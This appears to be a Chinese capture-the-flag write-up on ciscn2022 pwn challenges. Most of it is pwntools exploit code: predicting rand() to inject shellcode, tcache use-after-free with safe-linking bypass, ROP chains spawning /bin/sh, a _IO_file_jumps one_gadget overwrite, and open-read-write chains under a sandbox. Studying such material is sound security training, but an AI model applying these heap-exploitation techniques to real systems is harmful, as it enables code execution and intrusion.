1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 dll = CDLL('/lib/x86_64-linux-gnu/libc.so.6' ) dll.srand(0x123456 ) key = dll.rand() sla("help.\n" , str (key)) ru("was 0x" ) buf = int (rl().strip(),16 ) inf(buf) shellcode = b"" shellcode += b"\x66\x06\x06\x24\xff\xff\xd0\x04\xff\xff\x06\x28\xe0" shellcode += b"\xff\xbd\x27\x01\x10\xe4\x27\x1f\xf0\x84\x24\xe8\xff" shellcode += b"\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x27\xab\x0f\x02" shellcode += b"\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00" payload = b'0' *4 + shellcode.ljust(0x70 - 4 , b'0' ) + p32(buf + 4 ) sl(payload) sl("exit" ) ia()
0x0E ciscn2022 Duck glibc2.34 没有hook函数,tcache存在异或加密机制,
题目存在UAF,可以对已经free的chunk进行show和edit,所以先泄露出libc_base和heap_base,之后就可以修改tcache的fd构造链
两种做法,一种是通过environ泄露栈地址,然后能够控制栈地址进行ROP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 io = start() def add (): sla("Choice:" ,"1" ) def edit (idx,size,con ): sla("Choice:" ,"4" ) sla("Idx" ,str (idx)) sla("Size:" ,str (size)) sa("Content:" ,con) def show (idx ): sla("Choice" ,"3" ) sla("Idx" ,str (idx)) def delete (idx ): sla("Choice" ,"2" ) sla("Idx" ,str (idx)) for i in range (9 ): add() for i in range (7 ): delete(i) delete(7 ) show(7 ) libc_base = l64() - 0x1f2cc0 inf(libc_base) show(0 ) heap_base = u64(ru(b"\nDone" )[-5 :].ljust(8 ,b'\x00' )) << 12 inf(heap_base) for i in range (5 ): add() environ_addr=libc_base+libc.sym['environ' ] edit(1 ,0x10 ,p64((heap_base>>12 ) ^ environ_addr) + p64(0 )) add() add() show(15 ) stack = l64() - 0x168 inf(stack) delete(9 ) delete(10 ) edit(10 ,0x10 ,p64((heap_base>>12 ) ^ stack) + p64(0 )) add() add() system = libc_base + libc.sym["system" ] binsh = libc_base + next (libc.search(b"/bin/sh\x00" )) pop_rdi = libc_base + next (libc.search(asm('pop rdi;ret;' ))) payload = p64(0 )*3 + p64(pop_rdi) + p64(binsh) + p64(system) edit(17 ,0x30 ,payload) ia()
第二种是利用puts时会调用_IO_new_file_overflow刷新缓冲区,所以利用uaf申请到_IO_file_jumps这里修改_IO_new_file_overflow为one_gadget即可getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 for i in range (9 ): add() for i in range (7 ): delete(i) delete(7 ) show(7 ) libc_base = l64() - 0x1f2cc0 inf(libc_base) show(0 ) heap_base = u64(ru(b"\nDone" )[-5 :].ljust(8 ,b'\x00' )) << 12 inf(heap_base) for i in range (5 ): add() _IO_file_jumps = libc_base + libc.sym['_IO_file_jumps' ] inf(_IO_file_jumps) edit(1 ,0x10 ,p64((heap_base>>12 ) ^ _IO_file_jumps) + p64(0 )) add() add() ogg = [0xda861 ,0xda864 ,0xda867 ] og = libc_base + ogg[1 ] gdb.attach(io) edit(15 ,0x20 ,p64(0 )*3 + p64(og))
另外有个题是禁用了system,那么在栈上构造orw读取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 open_ = libc_base + libc.sym['open' ] read_ = libc_base + libc.sym['read' ] write_ = libc_base + libc.sym['write' ] pop_rdi = libc_base + 0x0000000000028a55 pop_rsi = libc_base + 0x000000000002a4cf pop_rdx = libc_base + 0x00000000000c7f32 heap2 = heap_base + 0x4c0 heap3 = heap_base + 0x5d0 edit(3 ,0x8 ,b'./flag\x00\x00' ) payload = p64(0 )*3 payload += p64(pop_rdi) + p64(heap3) + p64(pop_rsi) + p64(0 ) +p64(open_) \ + p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(heap2) +p64(pop_rdx) + p64(0x30 ) + p64(read_) \ + p64(pop_rdi) + p64(1 ) + p64(write_) edit(17 ,0x100 ,payload)
0x0F ciscn2022 blue glibc-2.31,题目开了沙盒,提供一次show,一次uaf,最大申请0x90堆块,最多32个,free正常。通过泄露environ,在栈上写orw读取flag。
先填满tcache,再一个进unsortedbin1,利用uaf泄露libc基址。这里难点是,需要两块unsortedbin1,2合并为大块3,之后add出一个tcache,由于存在uaf,所以可以再一次free unsortedbin1(由于已经合并,所以可以绕过bins检查,存在double free),这样unsortedbin1就进入了tcache链尾,造成了overlap。
红色为大块3,里面是unsortedbin1,现在已经被链入tcache。由于show的次数用完,所以通过stdout进行泄露,之后修改unsortedbin1的fd为_IO_2_1_stdout_,将flags标志改掉(绕过检查),再将write_base和write_ptr & write_end改成environ和environ + 8,泄露出environ的值。之后继续修改tcache链,申请到栈上构造rop即可。
(tcache要保证数量合法)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 io = start() def add (size,con ): sla("Choice:" ,"1" ) sla("size:" ,str (size)) sa("content:" ,con) def show (idx ): sla("Choice:" ,"3" ) sla("idx:" ,str (idx)) def delete (idx ): sla("Choice:" ,"2" ) sla("idx:" ,str (idx)) def uaf (idx ): sla("Choice:" ,"666" ) sla("idx:" ,str (idx)) for i in range (10 ): add(0x90 ,'a' ) for i in range (7 ): delete(i) uaf(8 ) show(8 ) libc_base = l64() - 0x1ecbe0 inf(libc_base) environ = libc_base + libc.sym['environ' ] stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] delete(7 ) add(0x90 ,'0' ) delete(8 ) add(0x80 ,'1' ) add(0x80 ,p64(0 ) + p64(0xa1 ) + p64(stdout)) add(0x90 ,'3' ) add(0x90 , p64(0xfbad1800 ) + p64(0 ) * 3 + p64(environ) + p64(environ + 8 ) * 2 ) stack = l64() - 0x128 inf(stack) delete(3 ) delete(2 ) add(0x80 ,p64(0 ) + p64(0xa1 ) + p64(stack)) add(0x90 ,'b' ) open_ = libc_base + libc.sym['open' ] read_ = libc_base + libc.sym['read' ] write_ = libc_base + libc.sym['write' ] pop_rdi = libc_base + 0x0000000000023b6a pop_rsi = libc_base + 0x000000000002601f pop_rdx = libc_base + 0x0000000000142c92 flag = stack addr = stack + 0x100 payload = b'./flag\x00\x00' payload += p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0 ) +p64(open_) \ + p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(addr) +p64(pop_rdx) + p64(0x30 ) + p64(read_) \ + p64(pop_rdi) + p64(1 ) + p64(write_) add(0x90 ,payload) ia()